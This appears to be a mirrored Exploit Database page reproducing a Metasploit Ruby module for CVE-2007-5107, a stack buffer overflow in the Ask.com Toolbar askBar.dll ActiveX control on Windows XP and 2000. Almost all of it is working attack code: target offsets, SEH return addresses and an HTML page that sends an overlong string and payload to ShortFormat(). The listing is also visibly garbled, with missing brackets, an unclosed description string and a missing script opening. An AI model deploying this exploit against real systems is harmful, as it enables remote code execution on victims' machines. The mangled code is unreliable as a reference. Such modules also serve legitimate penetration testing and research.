Ask.com Toolbar – ‘askBar.dll’ ActiveX Control Buffer Overflow (Metasploit)

Exploit Database
117 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16557/

# $Id: ask_shortformat.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Ask.com Toolbar 4.0.2.53.

An attacker may be able to excute arbitrary code by sending an overly

long string to the "ShortFormat()" method in askbar.dll.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2007-5107' ],

[ 'OSVDB', '37735' ],

[ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 800,

'BadChars'=> "\x00\x09\x0a\x0d'\\",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],

[ 'Windows 2000 Pro English ALL', { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],

'DisclosureDate' => 'Sep 24 2007',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things

vname = rand_text_alpha(rand(100) + 1)

strname = rand_text_alpha(rand(100) + 1)

# Set the exploit buffer

filler = rand_text_alpha(target['Offset'])

seh = generate_seh_payload(target.ret)

sploit = filler + seh + rand_text_alpha(payload.encoded.length)

# Build out the message

content = %Q|<html>

#{strname} = new String('#{sploit}');

#{vname}.ShortFormat = #{strname}

</script>

</html>

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end